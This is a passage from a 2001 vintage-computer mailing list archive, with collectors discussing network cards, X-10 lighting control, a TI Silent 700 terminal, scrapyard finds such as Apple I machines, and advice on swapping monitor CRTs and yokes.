In-Reply-To: <200106262317.f5QNHbT04528@bg-tc-ppp1165.monmouth.com>; from pechter@bg-tc-ppp1165.monmouth.com on Tue, Jun 26, 2001 at 07:17:37PM -0400 References: <20010626204200.LIVY2764.tomts14-srv.bellnexxia.net@duron> <200106262317.f5QNHbT04528@bg-tc-ppp1165.monmouth.com> Message-ID: <20010626192327.P16069@mrbill.net> On Tue, Jun 26, 2001 at 07:17:37PM -0400, Bill Pechter wrote: >I'm debating going Ebaying for some DEC or Adaptec tulip based PCI based cards. I recently bought a couple of SOHOware 10/100 tulip-chipset-compatible PCI cards for $15,new, from a local computer place... They work great. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From glinder at ews.uiuc.edu Tue Jun 26 20:04:55 2001 From: glinder at ews.uiuc.edu (Greg Linder) Date: Sun Feb 27 19:04:57 2005 Subject: Still have that 3b1, since Anthony Clifton didn't get here to pick it up. and three Unibus bits. In-Reply-To: Message-ID: The dumpsters around here keep yielding bits- I still have this 3b1, and for those of you who were interested I will sned you emails back to check if you still want it or not. I also have (2) DD11 and (1) DR11-B hex-height four slot Unibus wire wrapped backplanes- No flip chips, but the backplanes are in pretty good shape. A few bent pins, but they appear to have all the pins, and are relatively clean. All the wire-wrap is still in fairly good shape, from a brief visual inspection. If no one wants these, I'll hold on to them- They might come in handy just for the bus sections if we ever get around to restoring this 8/s we found. For those of you who were talking with me about trading various bits, I found the necessary doodads to got my LaserJet III working all right- I broke down and spent a couple of bucks on a new rubber roller and paper stoppy thingy- I also learned a whole slew about how these things work, which was nice. I also found a friend who has installation media for AIX 3.5 or some version like that, so all I need now is the SCSI cable to go from micro-tiny screw-on SCSI to big D-Centronics, and I can re-install on this POWERServer. It will be nice to learn more about AIX so I can better use and program the RT in our collection. Anyways, It's really nice having this list around, and despite the occasional bickering and such that goes on, this list has a great collection of engineering-minded folks who do a lot of neat stuff. Greg Linder From allain at panix.com Tue Jun 26 20:06:54 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:57 2005 Subject: Silent 700 Model 707 References: <15161.2878.610000.485274@gargle.gargle.HOWL> Message-ID: <019d01c0fea5$7538f5a0$8a0101ac@ibm23xhr06> > I picked up a TI Silent 700 model 707 recently (a nice, small variant > with built-in modem, see http://pobox.com/~fmw/misc/Silent700.jpg), > with hopes of converting to use as a direct line serial terminal. Wow, never knew they made em that small. > Before I open it up and poke around, does anyone already know how to > do this? Portwise, there are two RJ11 ports (phone&wall) and a 6-pin > acoustic coupler port of unknown pinout. Oops, wake up. Yes, get a telco simulator (costly) and a stand alone modem (cheap, esp. when used). The sim I found was a Viking at about $100, useful for testing laptops with integrated modems, etc. etc. Or get two phone lines and call yourself. Terminal/w/Modem -> Telco(sim) -> Modem -> RS232 out. John A. what will LookOut express do to the -> characters, I wonder? From glinder at ews.uiuc.edu Tue Jun 26 20:10:52 2001 From: glinder at ews.uiuc.edu (Greg Linder) Date: Sun Feb 27 19:04:57 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: <20010626192327.P16069@mrbill.net> Message-ID: I have found myself with the need to repair a PDP 11 controlled X-ray diffraction machine, used for crystal studies. I don't need any PDP bits, as the computer and everything like that works fine. What I do need to find is an affordable and happy x-ray generator. I'm pretty new to this whole thing, which is why I ask here. The machine is kind of on-topic, seeing that it is > 15 years old. I am trying to modify this machine to do more than it was originally intended, and therefore save it from being junked, and to do this I need a pretty stable x-ray generator. The one on the machine has a broken high voltage tank, and replacements are prohibitively expensive, along with the fact that I have very little experience working on really high voltage equipment. I am looking for a real x-ray generator- Modifying kitchen appliances or using thyratrons coated with magnesium won't due. I have x-ray tubes and all the rest, but the power supply is the toasted bit. Thanks! Greg Linder From mikeford at socal.rr.com Tue Jun 26 20:17:21 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:57 2005 Subject: Pair of Apple I in a scrap pile In-Reply-To: <20010626193529.55094.qmail@web9505.mail.yahoo.com> References: <20010626190433.5529.qmail@web9506.mail.yahoo.com> Message-ID: One of my friends was digging through a pile of scrap and found two Apple I computers in the wooden boxes. I expect to know more about it maybe this weekend or next week. He didn't buy them, and asked me today if they were worth getting. I told him someplace around $10k each depending on condition, so I suspect he will be picking them up. From spectre at stockholm.ptloma.edu Tue Jun 26 20:35:00 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:58 2005 Subject: Pair of Apple I in a scrap pile In-Reply-To: from Mike Ford at "Jun 26, 1 06:17:21 pm" Message-ID: <200106270135.SAA08656@stockholm.ptloma.edu> > One of my friends was digging through a pile of scrap and found two Apple I > computers in the wooden boxes. I expect to know more about it maybe this > weekend or next week. He didn't buy them, and asked me today if they were > worth getting. I told him someplace around $10k each depending on > condition, so I suspect he will be picking them up. Are you *kidding*? Just in a pile o'scrap? -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Eat healthy, stay fit, DIE ANYWAY! ----------------------------------------- From jhellige at earthlink.net Tue Jun 26 20:37:10 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: References: Message-ID: >Yes Eric, I also use X-10 to control the lights in my house. It is >handled by the small controller that plugs into a wall socket and is >programmed by a Radio Shack Color Computer. It has been chuggig along >for about 30 years. You know, I remember seeing them listed in the RS catalogs and seeing them in the stores in the past, but I've not noticed them anytime lately. Do they still sell the stuff for it? Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From cisin at xenosoft.com Tue Jun 26 20:40:57 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: Message-ID: On Wed, 27 Jun 2001, Tony Duell wrote: > This probably explains why X10 is not at all popular in the UK (and yes, > a 230V version does exist). I seem to remember that last time I looked at > the price of the modules they were all about \pounds 40.00 each. And the > computer [1] interface was about \pounds 90.00. I decided it was going to > be far too expensive for me to use. Around here (USA), the modules are typically about $15, and occasionally available cheap. > [1] Wintel, only, alas. Totally useless to me. But if you go CLASSIC, ... Radio Shack sold (past tense) a computer interface for TRS-80, and Coco. IIRC, it connected to the cassette port. There are also a number of serial port units. There are also controllers that have an IR port (for use with a remote control), if you are willing to do a little extra programming. Some of the first controllers had an ultrasonic remote control! As to reliability: Of the couple of dozen modules that I put in 23 years ago, all of the plug-in lamp modules and most of the plug-in appliance modules have died. All but one of the wall switch modules (toggle style with delayed local response) died (although the surviving one is in heavy usage!). Almost none of the replacements (push button) have died. Some of the old controllers will not reliably control some of the units (possibly related to which other ones are on). -- Grumpy Ol' Fred cisin@xenosoft.com From vance at ikickass.org Tue Jun 26 20:41:02 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:58 2005 Subject: Whats a reasonable collection? In-Reply-To: <408.577T2150T13535887optimus@canit.se> Message-ID: Yeah. I thought the twinax stuff was just for the 3270 Connector/A card. Peace... Sridhar On 26 Jun 2001, Iggy Drougge wrote: > Mike Ford skrev: > > >I want to have as many different kinds of segments on my network > >as I can manage, which means running a model 95 OS/2 system to bridge > >between 10bt and tokenring on twinax. > > Is it possible to run TR on twin-ax? I thought it was only run on STP or those > big jaw-like IBM connectors. > > -- > En ligne avec Thor 2.6a. > > Amiga 4000/040 25MHz/44MB/20GB RetinaBLTZ3/VLab/FastlaneZ3/Ariadne/Toccata > From jhellige at earthlink.net Tue Jun 26 20:40:51 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:58 2005 Subject: Pair of Apple I in a scrap pile In-Reply-To: References: <20010626190433.5529.qmail@web9506.mail.yahoo.com> Message-ID: >One of my friends was digging through a pile of scrap and found two Apple I >computers in the wooden boxes. I expect to know more about it maybe this >weekend or next week. He didn't buy them, and asked me today if they were >worth getting. I told him someplace around $10k each depending on >condition, so I suspect he will be picking them up. Man, with a find like that he'd better not even hesitate... Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From cisin at xenosoft.com Tue Jun 26 20:48:34 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: Message-ID: On Tue, 26 Jun 2001, Don Maslin wrote: > Yes Eric, I also use X-10 to control the lights in my house. It is > handled by the small controller that plugs into a wall socket and is > programmed by a Radio Shack Color Computer. It has been chuggig along > for about 30 years. Uhhhh, I think that that would be TWENTY years, unless that was a very early preproduction prototype of the Coco. From optimus at canit.se Tue Jun 26 21:05:19 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:58 2005 Subject: Trip to London, want BBC Micro stuff... In-Reply-To: Message-ID: <935.578T950T1854747optimus@canit.se> Tony Duell skrev: >> Tony, any sign of a secondhand chain called Cash Converters >> in the London area? The big Bristol branch has closed, but >Cash Converters were still going a couple of weeks back, so unless >they've closed very recently they are still trading. But their prices >tend to be out-of-this-world (No, I don't think a battered C64 is worth >50 quid, OK...). I think I've found exactly one bargain in that chain >over the years. That must be why they were so short-lived here. They had no idea about correct pricing, and probably ended up paying a lot more than things were worth to sellers. OTOH, they had quite nice prices in the shops, and during the few months that they were in business, I frequented them a lot. They still haven't removed their business signs from their old shops, though, the slobs. -- En ligne avec Thor 2.6a. Die Malerei ist stumme Poesie, die Poesie blinde Malerei. --- Leonardo da Vinci From optimus at canit.se Tue Jun 26 21:20:43 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:58 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: <901.578T2150T2005811optimus@canit.se> Vance Dereksen skrev: >I love microchannel equipment. 8-) I did an MCA pick-up today, entirely free. Got a set of sealed little TR adaptors, various IBM hard drives, different protocol adaptors, two 8514/A adaptors, a Future Domain SCSI adaptor, a RAM expansion card, XGA2 ID plugs, as well as a huge load of ISA junk and a Xircom parallel Ethernet adaptor. One question: What would a CD-ROM INTERFACE CD-IF35-A connect to? It's got a matching 40-way ribbon cable, but I assume it's some silly Mitsumi/Panasonic/whatever interface. Question 2: I got a little black plastic box by IBM with one DB25m, one DB25f and one DA9f. I suppose this is some kind of test equipment, but what? BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. =) -- En ligne avec Thor 2.6a. Vi m?ste vara r?dda om varandra - det ?r det enda reciproka pronomen vi har. From vance at ikickass.org Tue Jun 26 20:52:29 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:58 2005 Subject: SMC Ethernet In-Reply-To: Message-ID: I used to use Intel cards, since they have really nice support, but I have lately switched to Linksys, because they seem to have similar support (software support, I mean) at 1/6 the price. Plus, they have pretty good CPU utilization numbers on my CPUs. Peace... Sridhar On Tue, 26 Jun 2001, Zane H. Healy wrote: > >I'm debating going Ebaying for some DEC or Adaptec tulip based PCI based > >>cards. > > Good luck on finding actual DE500's, they don't seem to turn up much. > > >The LINKSYS and NETGEAR and DLINK stuff work pretty well for more > >generic cards. I've been less than impressed with 3com stuff. > > I've mostly used Netgear cards. Of course if you can find an old enough > Netgear card, it has the DEC chip on it. > > Zane > -- > | Zane H. Healy | UNIX Systems Administrator | > | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | > | | Classic Computer Collector | > +----------------------------------+----------------------------+ > | Empire of the Petal Throne and Traveller Role Playing, | > | and Zane's Computer Museum. | > | http://www.aracnet.com/~healyzh/ | > From ethan_dicks at yahoo.com Tue Jun 26 21:02:14 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:58 2005 Subject: SMC Ethernet In-Reply-To: Message-ID: <20010627020214.3404.qmail@web9503.mail.yahoo.com> --- Vance Dereksen wrote: > > I used to use Intel cards, since they have really nice support, but I have > lately switched to Linksys, because they seem to have similar support > (software support, I mean) at 1/6 the price. Plus, they have pretty good > CPU utilization numbers on my CPUs. What are you using to test this? I'd like to compare some of my own cards (3Com, SMC, Intel, etc.) -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Tue Jun 26 21:08:41 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:58 2005 Subject: Silent 700 Model 707 In-Reply-To: <019d01c0fea5$7538f5a0$8a0101ac@ibm23xhr06> Message-ID: <20010627020841.83844.qmail@web9501.mail.yahoo.com> --- John Allain wrote: > > I picked up a TI Silent 700 model 707 recently (a nice, small variant > > with built-in modem, see http://pobox.com/~fmw/misc/Silent700.jpg), > > with hopes of converting to use as a direct line serial terminal. > > > > Before I open it up and poke around, does anyone already know how to > > do this? > > Oops, wake up. > Yes, get a telco simulator (costly) and a stand alone modem > (cheap, esp. when used). The sim I found was a Viking at about > $100, useful for testing laptops with integrated modems, etc. etc. > Or get two phone lines and call yourself. > Terminal/w/Modem -> Telco(sim) -> Modem -> RS232 out. I have seen smart telco simulators for $250-$500 (Software Results made the "COMBOX(R)" for about $350) and I have seen dumb ones for <$100. The dumb ones are a power supply, some current-limiting resistors, and a push- button to switch 110VAC through some other resistors and simulate the ring voltage. I do not have a schematic, but I've seen someone sell them at hamfests for cheap. Most expedient is if you have two phone lines. Next most expedient is if you live close enough to a friendly neighbor to run a wire out the window. :-) -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Tue Jun 26 21:11:32 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:58 2005 Subject: Still have that 3b1, since Anthony Clifton didn't get here to pick it up. and three Unibus bits. In-Reply-To: Message-ID: <20010627021132.89500.qmail@web9505.mail.yahoo.com> --- Greg Linder wrote: > The dumpsters around here keep yielding bits... I also have (2) DD11 > and (1) DR11-B hex-height four slot Unibus wire wrapped backplanes... If no > one wants these, I'll hold on to them- They might come in handy just for the > bus sections if we ever get around to restoring this 8/s we found. The PDP-8/S uses R-series modules which are single sided. I suppose you could use a double-sided backplane block, but they did use a different connector. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From dittman at dittman.net Tue Jun 26 21:13:42 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:58 2005 Subject: SMC Ethernet In-Reply-To: from "Zane H. Healy" at Jun 26, 2001 05:10:33 PM Message-ID: <200106270213.f5R2DgC06122@narnia.int.dittman.net> > >I'm debating going Ebaying for some DEC or Adaptec tulip based PCI based > >>cards. > > Good luck on finding actual DE500's, they don't seem to turn up much. I have no problems finding real DE500's, and recently I found a real Compaq four-port 10/100 64-bit PCI card (DE504, I think) that is supported by VMS. I bought the DE500's used from a reseller, and the DE504 on eBay. I just checked and www.islandco.com has the DE500-XA for $49 and the DE500-BA for $60. They also have a generic 21140-based card for $34. I've bought a few items from them and I've never had a problem. I prefer the actual DE500 cards for my VMS and Tru64 systems, but I've used the generics in my Linux systems. If you want, I'll sell you one of my old generics for $20/each. I think I have at least two, but I missed the original message so I don't know what operating system you are going to use them in. My favorite find, though, is a 64-bit PCI Intraserver ITI6200U2 with the VMS compatible ROMs for $58. -- Eric Dittman dittman@dittman.net From msell at ontimesupport.com Tue Jun 26 21:46:43 2001 From: msell at ontimesupport.com (Matthew Sell) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: References: <15161.4601.995134.418372@phaduka.neurotica.com> Message-ID: <5.0.2.1.0.20010626214521.00a67060@127.0.0.1> You guys must not have seen my post..... I'm running the CM-10 with LINUX, and the other popular interfaces (including Firecracker) have Linux support available all over the 'net. >[1] Wintel, only, alas. Totally useless to me. - Matt "One World, One Web, One Program" - Microsoft Promotional Ad "Ein Volk, Ein Reich, Ein Fuhrer" - Adolf Hitler Many thanks for this tagline to a fellow RGVAC'er... From msell at ontimesupport.com Tue Jun 26 21:48:26 2001 From: msell at ontimesupport.com (Matthew Sell) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: References: Message-ID: <5.0.2.1.0.20010626214721.02fa9eb0@127.0.0.1> The modules are still being sold by RS, but not the interface. It was discontinued - but it was only the CM-10a rebranded (which you can still get). I get my modules at Fry's Electronics and Lowe's Home Improvement stores, as well as Radio Shack. - Matt > You know, I remember seeing them listed in the RS catalogs and > seeing them in the stores in the past, but I've not noticed them anytime > lately. Do they still sell the stuff for it? > > Jeff >-- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 "One World, One Web, One Program" - Microsoft Promotional Ad "Ein Volk, Ein Reich, Ein Fuhrer" - Adolf Hitler Many thanks for this tagline to a fellow RGVAC'er... From geneb at deltasoft.com Tue Jun 26 21:57:50 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:58 2005 Subject: The Computer Journal In-Reply-To: Message-ID: <200106270256.TAA24604@mail.telisphere.com> It was just pointed out to me that TCJ has totally folded and their website is offline. Any news on this? What about the software they had online for download? g. -- Gene Buckle, geneb@deltasoft.com on 06/26/2001 From geneb at deltasoft.com Tue Jun 26 22:00:11 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:58 2005 Subject: The Computer Journal In-Reply-To: <3B392759.D12D7337@amresearch.com> Message-ID: <200106270258.TAA24836@mail.telisphere.com> On Tue, 26 Jun 2001 17:22:49 -0700, Albert Lee Mitchell wrote: > No intent to defraud? Could have fooled me! >When TCJ was owned by Bill Kibler they processed our >credit card transactions, we were only a few miles apart >and both Forthies. After Dave Baldwin took over TCJ my >cost went up so we discouraged credit card transactions >and only took a few overseas or medium-sized. Wow. This is just TOO weird. I _just_ sent a message with that EXACT subject asking what was up with TCJ and I noticed this message right after I hit 'send'. *wanders off scratching his head* g. -- Gene Buckle, geneb@deltasoft.com on 06/26/2001 From geoffr at zipcon.net Tue Jun 26 20:57:09 2001 From: geoffr at zipcon.net (Geoff Reed) Date: Sun Feb 27 19:04:58 2005 Subject: SMC Ethernet In-Reply-To: <20010627020214.3404.qmail@web9503.mail.yahoo.com> References: Message-ID: <5.1.0.14.2.20010626185639.020cd010@mail.zipcon.net> I've stopped using 3COM cards after > 10 bad 3com PCI 10/100 NICS in less than 2 months :( At 07:02 PM 6/26/01 -0700, you wrote: >--- Vance Dereksen wrote: > > > > I used to use Intel cards, since they have really nice support, but I have > > lately switched to Linksys, because they seem to have similar support > > (software support, I mean) at 1/6 the price. Plus, they have pretty good > > CPU utilization numbers on my CPUs. > >What are you using to test this? I'd like to compare some of my own >cards (3Com, SMC, Intel, etc.) > >-ethan > > >===== >Visit "The Seventh Continent" >http://penguincentral.com/penguincentral.html > >__________________________________________________ >Do You Yahoo!? >Get personalized email addresses from Yahoo! Mail >http://personal.mail.yahoo.com/ From jpero at sympatico.ca Tue Jun 26 18:06:22 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:58 2005 Subject: SMC Ethernet In-Reply-To: <200106262317.f5QNHbT04528@bg-tc-ppp1165.monmouth.com> References: <20010626204200.LIVY2764.tomts14-srv.bellnexxia.net@duron> from "jpero@sympatico.ca" at "Jun 26, 2001 04:45:28 pm" Message-ID: <20010627030300.FJTA216.tomts7-srv.bellnexxia.net@duron> > From: Bill Pechter > Subject: SMC Ethernet > To: classiccmp@classiccmp.org > Date: Tue, 26 Jun 2001 19:17:37 -0400 (EDT) > Reply-to: classiccmp@classiccmp.org > I'm running most of my boxes on SMC ISA here. Since then, cost has crashed on used 'net cards and I pull them from old machines now I have 4 DE204's (LSI chipset etherworks 3), two Ultra SMC's w/ 4 LEDs on top edge PCB and few others all ISA. Even I have straight sequence of Dec Etherworks: DE200, 201, xx2, xx3 and xx4. I wish I could find another D-Link 530TX based on tulip chipset. D-link change chipsets on same models like they do their underswear daily. > The LINKSYS and NETGEAR and DLINK stuff work pretty well for more > generic cards. I've been less than impressed with 3com stuff. To prove, I have two exact NICs, one is SMC EZ 10 and other one is generic down to exact same PCB design. Yuck. > > Bill Cheers, Wizard From KenzieM at sympatico.ca Tue Jun 26 22:13:37 2001 From: KenzieM at sympatico.ca (Mike Kenzie) Date: Sun Feb 27 19:04:58 2005 Subject: Request for those skilling in locating odd bits- References: Message-ID: <004101c0feb7$97141580$0101a8c0@sympatico.ca> ----- Original Message ----- From: "Greg Linder" To: Sent: Tuesday, June 26, 2001 9:10 PM Subject: Request for those skilling in locating odd bits- > I have found myself with the need to repair a PDP 11 controlled > X-ray diffraction machine, used for crystal studies. I don't need any PDP > bits, as the computer and everything like that works fine. What I do need > to find is an affordable and happy x-ray generator. I'm pretty new to this I know where there is an old Xray machine from a Shoe store, left over from when they used Xrays to make sure the shoes fit. I'm not sure if the radioactive material has been removed or not. From xds_sigma7 at hotmail.com Tue Jun 26 22:23:10 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:58 2005 Subject: 2 awesome days of awesome finds! Message-ID: It seems the classic computer gods have been smiling on me this week... Yesterday I went to a scrapyard I hadn't been to in a while, was thinking same stuff as before, then I saw some MicroVAX II's.. Not terribly exciting, but new... And then I turned around, and nearly peed my pants: A TI 990 with a TI FD1000 floppy disk system! And then I found a 2nd one... Both are 990/5's, one in the 5-slot chassis and one in a 13.. And I found 2 more empty chassis that will need some help, but are definetly rebuildable... And I paid less for all 4 and the 2 FD1000's than one empty chassis sold for on Ebay! Once I got the stuff unloaded, I was feeling brave, so I plugged in one of the CPUs and turned it on.. and... IT WORKED! Anyway, today I went by another surplus place I frequent, and they said "Oh, we have a bunch of DEC docs for you" So I walked back and there were 4 racks of PDP-11 stuff.. 3 DECDatasystems (11/23-based), each with dual RL02s (one rack may have RL01's), a 4th rack with an RL02 and a Fujitsu M2312K, 32 disk packs, including a pair with RSX-11+ 4.0 on them, manuals for a DECmate (VT278), all the software for the DECmate, the manuals for the DECdatasystems, and some handbooks... Also when I was at the scrapyard on Monday, a guy who saw me load my car asked me about the stuff, I told him about my museum plans, and he gave me his business card and told me to call a person at where he works and he said that "they could fill my pickup" with minicomputers! I now own 10 minis with blinkenlights.. and only 1 of them is DEC! YAY! _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From donm at cts.com Tue Jun 26 23:32:16 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: Message-ID: On Tue, 26 Jun 2001, Jeff Hellige wrote: > >Yes Eric, I also use X-10 to control the lights in my house. It is > >handled by the small controller that plugs into a wall socket and is > >programmed by a Radio Shack Color Computer. It has been chuggig along > >for about 30 years. > > You know, I remember seeing them listed in the RS catalogs > and seeing them in the stores in the past, but I've not noticed them > anytime lately. Do they still sell the stuff for it? I have not seen one of the computer programmed units in either RS store or catalog for years, Jeff. - don > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From donm at cts.com Tue Jun 26 23:36:08 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: Message-ID: On Tue, 26 Jun 2001, Fred Cisin (XenoSoft) wrote: > On Wed, 27 Jun 2001, Tony Duell wrote: > > This probably explains why X10 is not at all popular in the UK (and yes, > > a 230V version does exist). I seem to remember that last time I looked at > > the price of the modules they were all about \pounds 40.00 each. And the > > computer [1] interface was about \pounds 90.00. I decided it was going to > > be far too expensive for me to use. > > Around here (USA), the modules are typically about $15, and occasionally > available cheap. > > > [1] Wintel, only, alas. Totally useless to me. > > But if you go CLASSIC, ... > Radio Shack sold (past tense) a computer interface for TRS-80, and > Coco. IIRC, it connected to the cassette port. Correct, and also required a ROM pack for the programming firmware. - don > There are also a number of serial port units. > > There are also controllers that have an IR port (for use with a remote > control), if you are willing to do a little extra programming. > > Some of the first controllers had an ultrasonic remote control! > > As to reliability: > Of the couple of dozen modules that I put in 23 years ago, all of the > plug-in lamp modules and most of the plug-in appliance modules have > died. All but one of the wall switch modules (toggle style with > delayed local response) died (although the surviving one is in heavy > usage!). Almost none of the replacements (push button) have died. Some > of the old controllers will not reliably control some of the units > (possibly related to which other ones are on). > > -- > Grumpy Ol' Fred cisin@xenosoft.com > > From donm at cts.com Tue Jun 26 23:37:18 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: Message-ID: On Tue, 26 Jun 2001, Fred Cisin (XenoSoft) wrote: > On Tue, 26 Jun 2001, Don Maslin wrote: > > Yes Eric, I also use X-10 to control the lights in my house. It is > > handled by the small controller that plugs into a wall socket and is > > programmed by a Radio Shack Color Computer. It has been chuggig along > > for about 30 years. > > Uhhhh, I think that that would be TWENTY years, unless that was a very > early preproduction prototype of the Coco. > I think you are exactly right! - don From foo at siconic.com Tue Jun 26 22:41:44 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:58 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: Message-ID: On Tue, 26 Jun 2001, Mike Ford wrote: > I very seriously plan to write more Apple II software. Its been a few > years (decades), but writing for the 6502 was a lot of fun, and just > maybe I could do a couple usefull things. Me too, someday. I loved writing stuff on the Apple ][, and there are still some ideas I had that I want to finally implement. One is a simple networking protocol that can be loaded resident into ProDOS and allow you to have a TCP/IP gateway to a Linux block. It'll have it's own simple packet protocol for sending and receiving data over a serial port. On top of that you'll be able to build device drivers for virtual Apple ][ disk drives (or in ProDOS speak, volumes) on a PC for transferring files. Someone has written a great utility that allows you to use your PC as a file server from your Apple ][ and I believe vice-versa. I forgot what it's called but I believe the website where the software can be found is listed in the Emulators subsection of the Apple Resources section of the VCF Link Library: http://www.vintage.org/cgi-bin/links.pl#apple Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Tue Jun 26 22:48:35 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:58 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: Message-ID: On Tue, 26 Jun 2001, Mike Ford wrote: > Warning, if you signup for the email offers, expect one EVERY day. Nothing a throw-away Hotmail account can't rememdy: g634hf8734hf@hotmail.com will do :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From dpeschel at eskimo.com Tue Jun 26 23:56:20 2001 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 19:04:58 2005 Subject: VUNIC/VUnet Update In-Reply-To: ; from vaxcat@retrocomputing.com on Sat, Jun 16, 2001 at 04:30:45PM -0500 References: <200106161701.KAA23276@homer.ssl.berkeley.edu> Message-ID: <20010626215620.B10591@eskimo.eskimo.com> On Sat, Jun 16, 2001 at 04:30:45PM -0500, Anthony Clifton - Retrocomputing.com wrote: > In the meantime, I'm reserving names on a first-come-first-served basis. I suppose "bangbang" would be too confusing... how about "bangpath" instead? My second choice would be "achernar" (look at the origin of the word). -- Derek From xds_sigma7 at hotmail.com Wed Jun 27 00:29:32 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:58 2005 Subject: Request for those skilling in locating odd bits- Message-ID: I believe there is an x-ray machine in my ex-girlfriends' parents' garage.. I need to get the rest of my Wang out of her garage anyways, so I can check if you want... Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From wmsmith at earthlink.net Wed Jun 27 00:39:32 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:58 2005 Subject: Good Samaritan Rule? References: Message-ID: <006701c0fecb$9184f580$4029b3d1@Smith.earthlink.net> > So, OK, I assume now that these monitors are electrically very different, > but how similar are the CRTs? > The only visible difference is that one has a 14000V sticker whereas the other a 17000V sticker. From wmsmith at earthlink.net Wed Jun 27 01:08:02 2001 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 19:04:58 2005 Subject: Good Samaritan Rule? References: Message-ID: <00df01c0fecf$86893c00$4029b3d1@Smith.earthlink.net> > > Of course your advice is valued, extremely so, and my > > separate thanks for it was sincere. That advice did > > come, however, with a morsel of baggage. Consider, for > > a moment, your statement to me that you "have a major > > objection to 'whacking' anything near a CRT." Stipped > > If this is about statements like that, then I think we're going to argue > about differences in UK and US usage of English. Which quickly becomes > pointless.. > Your "pointless" point is a good one. You must remember you're dealing with the "Kingdom of Nice." Over here, declarative statements are so uncommon they're rather jarring. > > > > > > > My first thought would have been to swap the CRT > > only. Not the entire > > > monitor. For at least 2 reasons it's a good idea to > > replace as small a > > > part as possible. > > > > > I thought of this initially. The reason I didn't is > > because the yokes were glued on and the wiring from the > > yokes was soldered to the boards. Would have been a > > A word of warning... Yokes are _much_ less generic than CRTs. As the 2 > montors in question seem to be rather different in design, I would > recomend keeping the yoke with the PCB it came with, not with the CRT. In > other words, leave the yoke wires alone and slide the yoke off the CRT neck. > > Getting a yoke off can be a bit tricky the first few times -- you must > not apply much force to the CRT neck, or you _will_ break the CRT. The > best way I've found it to start by removing the CRT base conenctor and > then removing the screwclip around the back of the yoke entirely (don't > just loosen it, take it right 